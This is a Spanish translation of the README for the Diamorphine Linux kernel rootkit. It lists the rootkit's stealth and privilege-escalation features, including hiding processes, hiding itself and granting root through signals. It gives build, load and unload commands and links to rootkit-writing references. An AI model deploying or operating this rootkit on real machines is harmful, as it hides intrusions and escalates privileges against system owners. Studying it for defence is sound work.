Diamorphine

diamorfina

Dimorphine es un rootkit LKM para los kernels de Linux 2.6.x/3.x/4.x/5.x/6.x (x86/x86_64 y ARM64)

Características

• Cuando se carga, el módulo comienza a ser invisible;

• Ocultar/mostrar cualquier proceso enviando una señal 31;

• Enviar una señal 63 (a cualquier pid) hace que el módulo se vuelva (in)visible;

• Enviar una señal 64 (a cualquier pid) hace que el usuario determinado se convierta en root;

• Los archivos o directorios que comienzan con MAGIC_PREFIX se vuelven invisibles;

• Fuente: https://github.com/m0nad/Diamorfine

Instalar

Verifique si el kernel es 2.6.x/3.x/4.x/5.x

 uname -r

Clonar el repositorio

 git clone https://github.com/m0nad/Diamorphine

Ingrese a la carpeta

 cd Diamorphine

Compilar

 make

Cargue el módulo (como root)

 insmod diamorphine.ko

Desinstalar

El módulo comienza invisible, para eliminarlo debes hacerlo visible

 kill -63 0

Luego elimine el módulo (como root)

 rmmod diamorphine

Referencias

Wikipedia Rootkit https://en.wikipedia.org/wiki/Rootkit

Controladores de dispositivos Linux http://lwn.net/Kernel/LDD3/

HACKING DE LKM https://web.archive.org/web/20140701183221/https://www.thc.org/papers/LKM_HACKING.html

Blog de Memset http://memset.wordpress.com/

Parche del kernel de Linux sobre la marcha sin LKM http://phrack.org/issues/58/7.html

ESCRIBIR UN ROOTKIT SIMPLE PARA LINUX https://web.archive.org/web/20160620231623/http://big-daddy.fr/repository/Documentation/Hacking/Security/Malware/Rootkits/writing-rootkit.txt

Referencia cruzada de Linux http://lxr.free-electrons.com/

zizzu0 LinuxKernelModules https://github.com/zizzu0/LinuxKernelModules/

Rootkits de Linux: nuevos métodos para Kernel 5.7+ https://xcellerator.github.io/posts/linux_rootkits_11/